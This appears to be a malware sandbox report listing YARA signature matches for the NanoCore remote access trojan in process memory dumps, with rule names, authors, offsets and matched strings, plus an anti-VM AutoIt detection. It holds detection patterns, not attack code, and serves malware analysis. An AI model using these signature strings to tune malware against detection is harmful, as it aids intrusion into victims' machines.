0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf9cd:$a: NanoCore 0xf9dd:$a: NanoCore 0xfc11:$a: NanoCore 0xfc25:$a: NanoCore 0xfc65:$a: NanoCore 0xfa2c:$b: ClientPlugin 0xfc2e:$b: ClientPlugin 0xfc6e:$b: ClientPlugin 0xfb53:$c: ProjectData 0x1055a:$d: DESCrypto 0x17f26:$e: KeepAlive 0x15f14:$g: LogClientMessage 0x1210f:$i: get_Connected 0x10890:$j: #=q 0x108c0:$j: #=q 0x108dc:$j: #=q 0x1090c:$j: #=q 0x10928:$j: #=q 0x10944:$j: #=q 0x10974:$j: #=q 0x10990:$j: #=q
00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9ad:$x1: NanoCore.ClientPluginHost 0xf9ea:$x2: IClientNetworkHost 0x1351d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf715:$a: NanoCore 0xf725:$a: NanoCore 0xf959:$a: NanoCore 0xf96d:$a: NanoCore 0xf9ad:$a: NanoCore 0xf774:$b: ClientPlugin 0xf976:$b: ClientPlugin 0xf9b6:$b: ClientPlugin 0xf89b:$c: ProjectData 0x102a2:$d: DESCrypto 0x17c6e:$e: KeepAlive 0x15c5c:$g: LogClientMessage 0x11e57:$i: get_Connected 0x105d8:$j: #=q 0x10608:$j: #=q 0x10624:$j: #=q 0x10654:$j: #=q 0x10670:$j: #=q 0x1068c:$j: #=q 0x106bc:$j: #=q 0x106d8:$j: #=q
00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9ad:$x1: NanoCore.ClientPluginHost 0xf9ea:$x2: IClientNetworkHost 0x1351d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf715:$a: NanoCore 0xf725:$a: NanoCore 0xf959:$a: NanoCore 0xf96d:$a: NanoCore 0xf9ad:$a: NanoCore 0xf774:$b: ClientPlugin 0xf976:$b: ClientPlugin 0xf9b6:$b: ClientPlugin 0xf89b:$c: ProjectData 0x102a2:$d: DESCrypto 0x17c6e:$e: KeepAlive 0x15c5c:$g: LogClientMessage 0x11e57:$i: get_Connected 0x105d8:$j: #=q 0x10608:$j: #=q 0x10624:$j: #=q 0x10654:$j: #=q 0x10670:$j: #=q 0x1068c:$j: #=q 0x106bc:$j: #=q 0x106d8:$j: #=q
00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost
00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1646:$x2: NanoCore.ClientPluginHost 0x1724:$s4: PipeCreated 0x1660:$s5: IClientLoggingHost
00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9dd:$x1: NanoCore.ClientPluginHost 0xfa1a:$x2: IClientNetworkHost 0x1354d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf745:$a: NanoCore 0xf755:$a: NanoCore 0xf989:$a: NanoCore 0xf99d:$a: NanoCore 0xf9dd:$a: NanoCore 0xf7a4:$b: ClientPlugin 0xf9a6:$b: ClientPlugin 0xf9e6:$b: ClientPlugin 0xf8cb:$c: ProjectData 0x102d2:$d: DESCrypto 0x17c9e:$e: KeepAlive 0x15c8c:$g: LogClientMessage 0x11e87:$i: get_Connected 0x10608:$j: #=q 0x10638:$j: #=q 0x10654:$j: #=q 0x10684:$j: #=q 0x106a0:$j: #=q 0x106bc:$j: #=q 0x106ec:$j: #=q 0x10708:$j: #=q
0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf805:$x1: NanoCore.ClientPluginHost 0xf842:$x2: IClientNetworkHost 0x13375:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf56d:$a: NanoCore 0xf57d:$a: NanoCore 0xf7b1:$a: NanoCore 0xf7c5:$a: NanoCore 0xf805:$a: NanoCore 0xf5cc:$b: ClientPlugin 0xf7ce:$b: ClientPlugin 0xf80e:$b: ClientPlugin 0xf6f3:$c: ProjectData 0x100fa:$d: DESCrypto 0x17ac6:$e: KeepAlive 0x15ab4:$g: LogClientMessage 0x11caf:$i: get_Connected 0x10430:$j: #=q 0x10460:$j: #=q 0x1047c:$j: #=q 0x104ac:$j: #=q 0x104c8:$j: #=q 0x104e4:$j: #=q 0x10514:$j: #=q 0x10530:$j: #=q
00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf195:$x1: NanoCore.ClientPluginHost 0x43d8d:$x1: NanoCore.ClientPluginHost 0xf1d2:$x2: IClientNetworkHost 0x43dca:$x2: IClientNetworkHost 0x12d05:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x478fd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xeefd:$a: NanoCore 0xef0d:$a: NanoCore 0xf141:$a: NanoCore 0xf155:$a: NanoCore 0xf195:$a: NanoCore 0x43af5:$a: NanoCore 0x43b05:$a: NanoCore 0x43d39:$a: NanoCore 0x43d4d:$a: NanoCore 0x43d8d:$a: NanoCore 0xef5c:$b: ClientPlugin 0xf15e:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0x43b54:$b: ClientPlugin 0x43d56:$b: ClientPlugin 0x43d96:$b: ClientPlugin 0xf083:$c: ProjectData 0x43c7b:$c: ProjectData 0xfa8a:$d: DESCrypto 0x44682:$d: DESCrypto 0x17456:$e: KeepAlive
0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10c1d:$x1: NanoCore.ClientPluginHost 0x10c5a:$x2: IClientNetworkHost 0x1478d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10985:$a: NanoCore 0x10995:$a: NanoCore 0x10bc9:$a: NanoCore 0x10bdd:$a: NanoCore 0x10c1d:$a: NanoCore 0x109e4:$b: ClientPlugin 0x10be6:$b: ClientPlugin 0x10c26:$b: ClientPlugin 0x10b0b:$c: ProjectData 0x11512:$d: DESCrypto 0x18ede:$e: KeepAlive 0x16ecc:$g: LogClientMessage 0x130c7:$i: get_Connected 0x11848:$j: #=q 0x11878:$j: #=q 0x11894:$j: #=q 0x118c4:$j: #=q 0x118e0:$j: #=q 0x118fc:$j: #=q 0x1192c:$j: #=q 0x11948:$j: #=q
0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfc1d:$x1: NanoCore.ClientPluginHost 0xfc5a:$x2: IClientNetworkHost 0x1378d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf985:$a: NanoCore 0xf995:$a: NanoCore 0xfbc9:$a: NanoCore 0xfbdd:$a: NanoCore 0xfc1d:$a: NanoCore 0xf9e4:$b: ClientPlugin 0xfbe6:$b: ClientPlugin 0xfc26:$b: ClientPlugin 0xfb0b:$c: ProjectData 0x10512:$d: DESCrypto 0x17ede:$e: KeepAlive 0x15ecc:$g: LogClientMessage 0x120c7:$i: get_Connected 0x10848:$j: #=q 0x10878:$j: #=q 0x10894:$j: #=q 0x108c4:$j: #=q 0x108e0:$j: #=q 0x108fc:$j: #=q 0x1092c:$j: #=q 0x10948:$j: #=q
0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10c1d:$x1: NanoCore.ClientPluginHost 0x10c5a:$x2: IClientNetworkHost 0x1478d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10985:$a: NanoCore 0x10995:$a: NanoCore 0x10bc9:$a: NanoCore 0x10bdd:$a: NanoCore 0x10c1d:$a: NanoCore 0x109e4:$b: ClientPlugin 0x10be6:$b: ClientPlugin 0x10c26:$b: ClientPlugin 0x10b0b:$c: ProjectData 0x11512:$d: DESCrypto 0x18ede:$e: KeepAlive 0x16ecc:$g: LogClientMessage 0x130c7:$i: get_Connected 0x11848:$j: #=q 0x11878:$j: #=q 0x11894:$j: #=q 0x118c4:$j: #=q 0x118e0:$j: #=q 0x118fc:$j: #=q 0x1192c:$j: #=q 0x11948:$j: #=q
00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1d5:$x1: NanoCore.ClientPluginHost 0xf212:$x2: IClientNetworkHost 0x12d45:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef3d:$a: NanoCore 0xef4d:$a: NanoCore 0xf181:$a: NanoCore 0xf195:$a: NanoCore 0xf1d5:$a: NanoCore 0xef9c:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf1de:$b: ClientPlugin 0xf0c3:$c: ProjectData 0xfaca:$d: DESCrypto 0x17496:$e: KeepAlive 0x15484:$g: LogClientMessage 0x1167f:$i: get_Connected 0xfe00:$j: #=q 0xfe30:$j: #=q 0xfe4c:$j: #=q 0xfe7c:$j: #=q 0xfe98:$j: #=q 0xfeb4:$j: #=q 0xfee4:$j: #=q 0xff00:$j: #=q
0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfbfd:$x1: NanoCore.ClientPluginHost 0x447f5:$x1: NanoCore.ClientPluginHost 0x78ffd:$x1: NanoCore.ClientPluginHost 0xfc3a:$x2: IClientNetworkHost 0x44832:$x2: IClientNetworkHost 0x7903a:$x2: IClientNetworkHost 0x1376d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x48365:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x7cb6d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf965:$a: NanoCore 0xf975:$a: NanoCore 0xfba9:$a: NanoCore 0xfbbd:$a: NanoCore 0xfbfd:$a: NanoCore 0x4455d:$a: NanoCore 0x4456d:$a: NanoCore 0x447a1:$a: NanoCore 0x447b5:$a: NanoCore 0x447f5:$a: NanoCore 0x78d65:$a: NanoCore 0x78d75:$a: NanoCore 0x78fa9:$a: NanoCore 0x78fbd:$a: NanoCore 0x78ffd:$a: NanoCore 0xf9c4:$b: ClientPlugin 0xfbc6:$b: ClientPlugin 0xfc06:$b: ClientPlugin 0x445bc:$b: ClientPlugin 0x447be:$b: ClientPlugin 0x447fe:$b: ClientPlugin
0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfe9d:$x1: NanoCore.ClientPluginHost 0xfeda:$x2: IClientNetworkHost 0x13a0d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfc05:$a: NanoCore 0xfc15:$a: NanoCore 0xfe49:$a: NanoCore 0xfe5d:$a: NanoCore 0xfe9d:$a: NanoCore 0xfc64:$b: ClientPlugin 0xfe66:$b: ClientPlugin 0xfea6:$b: ClientPlugin 0xfd8b:$c: ProjectData 0x10792:$d: DESCrypto 0x1815e:$e: KeepAlive 0x1614c:$g: LogClientMessage 0x12347:$i: get_Connected 0x10ac8:$j: #=q 0x10af8:$j: #=q 0x10b14:$j: #=q 0x10b44:$j: #=q 0x10b60:$j: #=q 0x10b7c:$j: #=q 0x10bac:$j: #=q 0x10bc8:$j: #=q
0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7f5:$x1: NanoCore.ClientPluginHost 0xf832:$x2: IClientNetworkHost 0x13365:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf55d:$a: NanoCore 0xf56d:$a: NanoCore 0xf7a1:$a: NanoCore 0xf7b5:$a: NanoCore 0xf7f5:$a: NanoCore 0xf5bc:$b: ClientPlugin 0xf7be:$b: ClientPlugin 0xf7fe:$b: ClientPlugin 0xf6e3:$c: ProjectData 0x100ea:$d: DESCrypto 0x17ab6:$e: KeepAlive 0x15aa4:$g: LogClientMessage 0x11c9f:$i: get_Connected 0x10420:$j: #=q 0x10450:$j: #=q 0x1046c:$j: #=q 0x1049c:$j: #=q 0x104b8:$j: #=q 0x104d4:$j: #=q 0x10504:$j: #=q 0x10520:$j: #=q
0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7f5:$x1: NanoCore.ClientPluginHost 0x43ffd:$x1: NanoCore.ClientPluginHost 0x78805:$x1: NanoCore.ClientPluginHost 0xf832:$x2: IClientNetworkHost 0x4403a:$x2: IClientNetworkHost 0x78842:$x2: IClientNetworkHost 0x13365:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x47b6d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x7c375:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf55d:$a: NanoCore 0xf56d:$a: NanoCore 0xf7a1:$a: NanoCore 0xf7b5:$a: NanoCore 0xf7f5:$a: NanoCore 0x43d65:$a: NanoCore 0x43d75:$a: NanoCore 0x43fa9:$a: NanoCore 0x43fbd:$a: NanoCore 0x43ffd:$a: NanoCore 0x7856d:$a: NanoCore 0x7857d:$a: NanoCore 0x787b1:$a: NanoCore 0x787c5:$a: NanoCore 0x78805:$a: NanoCore 0xf5bc:$b: ClientPlugin 0xf7be:$b: ClientPlugin 0xf7fe:$b: ClientPlugin 0x43dc4:$b: ClientPlugin 0x43fc6:$b: ClientPlugin 0x44006:$b: ClientPlugin
00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf415:$x1: NanoCore.ClientPluginHost 0x43c1d:$x1: NanoCore.ClientPluginHost 0xf452:$x2: IClientNetworkHost 0x43c5a:$x2: IClientNetworkHost 0x12f85:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x4778d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf17d:$a: NanoCore 0xf18d:$a: NanoCore 0xf3c1:$a: NanoCore 0xf3d5:$a: NanoCore 0xf415:$a: NanoCore 0x43985:$a: NanoCore 0x43995:$a: NanoCore 0x43bc9:$a: NanoCore 0x43bdd:$a: NanoCore 0x43c1d:$a: NanoCore 0xf1dc:$b: ClientPlugin 0xf3de:$b: ClientPlugin 0xf41e:$b: ClientPlugin 0x439e4:$b: ClientPlugin 0x43be6:$b: ClientPlugin 0x43c26:$b: ClientPlugin 0xf303:$c: ProjectData 0x43b0b:$c: ProjectData 0xfd0a:$d: DESCrypto 0x44512:$d: DESCrypto 0x176d6:$e: KeepAlive
00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1d5:$x1: NanoCore.ClientPluginHost 0xf212:$x2: IClientNetworkHost 0x12d45:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef3d:$a: NanoCore 0xef4d:$a: NanoCore 0xf181:$a: NanoCore 0xf195:$a: NanoCore 0xf1d5:$a: NanoCore 0xef9c:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf1de:$b: ClientPlugin 0xf0c3:$c: ProjectData 0xfaca:$d: DESCrypto 0x17496:$e: KeepAlive 0x15484:$g: LogClientMessage 0x1167f:$i: get_Connected 0xfe00:$j: #=q 0xfe30:$j: #=q 0xfe4c:$j: #=q 0xfe7c:$j: #=q 0xfe98:$j: #=q 0xfeb4:$j: #=q 0xfee4:$j: #=q 0xff00:$j: #=q
00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x85ad:$a: NanoCore 0x8606:$a: NanoCore 0x8643:$a: NanoCore 0x86bc:$a: NanoCore 0xdc51:$a: NanoCore 0xdc9b:$a: NanoCore 0xde85:$a: NanoCore 0x217a4:$a: NanoCore 0x217b9:$a: NanoCore 0x217ee:$a: NanoCore 0x3a743:$a: NanoCore 0x3a758:$a: NanoCore 0x3a78d:$a: NanoCore 0x860f:$b: ClientPlugin 0x864c:$b: ClientPlugin 0x8f4a:$b: ClientPlugin 0x8f57:$b: ClientPlugin 0xd9ea:$b: ClientPlugin 0xdc5a:$b: ClientPlugin 0xdca4:$b: ClientPlugin 0x21560:$b: ClientPlugin
0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfc1d:$x1: NanoCore.ClientPluginHost 0xfc5a:$x2: IClientNetworkHost 0x1378d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf985:$a: NanoCore 0xf995:$a: NanoCore 0xfbc9:$a: NanoCore 0xfbdd:$a: NanoCore 0xfc1d:$a: NanoCore 0xf9e4:$b: ClientPlugin 0xfbe6:$b: ClientPlugin 0xfc26:$b: ClientPlugin 0xfb0b:$c: ProjectData 0x10512:$d: DESCrypto 0x17ede:$e: KeepAlive 0x15ecc:$g: LogClientMessage 0x120c7:$i: get_Connected 0x10848:$j: #=q 0x10878:$j: #=q 0x10894:$j: #=q 0x108c4:$j: #=q 0x108e0:$j: #=q 0x108fc:$j: #=q 0x1092c:$j: #=q 0x10948:$j: #=q
00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9dd:$x1: NanoCore.ClientPluginHost 0xfa1a:$x2: IClientNetworkHost 0x1354d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf745:$a: NanoCore 0xf755:$a: NanoCore 0xf989:$a: NanoCore 0xf99d:$a: NanoCore 0xf9dd:$a: NanoCore 0xf7a4:$b: ClientPlugin 0xf9a6:$b: ClientPlugin 0xf9e6:$b: ClientPlugin 0xf8cb:$c: ProjectData 0x102d2:$d: DESCrypto 0x17c9e:$e: KeepAlive 0x15c8c:$g: LogClientMessage 0x11e87:$i: get_Connected 0x10608:$j: #=q 0x10638:$j: #=q 0x10654:$j: #=q 0x10684:$j: #=q 0x106a0:$j: #=q 0x106bc:$j: #=q 0x106ec:$j: #=q 0x10708:$j: #=q
0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x6942f:$a: NanoCore 0x69488:$a: NanoCore 0x694c5:$a: NanoCore 0x6953e:$a: NanoCore 0x6ecf6:$a: NanoCore 0x6ed40:$a: NanoCore 0x6ef2a:$a: NanoCore 0x69491:$b: ClientPlugin 0x694ce:$b: ClientPlugin 0x69dcc:$b: ClientPlugin 0x69dd9:$b: ClientPlugin 0x6ea8f:$b: ClientPlugin 0x6ecff:$b: ClientPlugin 0x6ed49:$b: ClientPlugin 0x6f261:$c: ProjectData 0x5cfe5:$e: KeepAlive 0x69919:$g: LogClientMessage 0x6f154:$g: LogClientMessage 0x69899:$i: get_Connected 0x5d08b:$j: #=q 0x5d0bb:$j: #=q
Process Memory Space: nfiuc.pif PID: 984	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x7ab4c:$x1: NanoCore.ClientPluginHost 0x9d171:$x1: NanoCore.ClientPluginHost 0xbc05b:$x1: NanoCore.ClientPluginHost 0x1dd9b7:$x1: NanoCore.ClientPluginHost 0x3070ad:$x1: NanoCore.ClientPluginHost 0x4f8f80:$x1: NanoCore.ClientPluginHost 0x59eb0a:$x1: NanoCore.ClientPluginHost 0x5c0167:$x1: NanoCore.ClientPluginHost 0x5e00ad:$x1: NanoCore.ClientPluginHost 0x5ffe29:$x1: NanoCore.ClientPluginHost 0x61ed24:$x1: NanoCore.ClientPluginHost 0x649e5d:$x1: NanoCore.ClientPluginHost 0x66e211:$x1: NanoCore.ClientPluginHost 0x7e9781:$x1: NanoCore.ClientPluginHost 0x80b1b1:$x1: NanoCore.ClientPluginHost 0x7abad:$x2: IClientNetworkHost 0x9d1d2:$x2: IClientNetworkHost 0xbc0bc:$x2: IClientNetworkHost 0x1dda18:$x2: IClientNetworkHost 0x30710e:$x2: IClientNetworkHost 0x4f8fe1:$x2: IClientNetworkHost
Process Memory Space: nfiuc.pif PID: 984	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: nfiuc.pif PID: 984	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
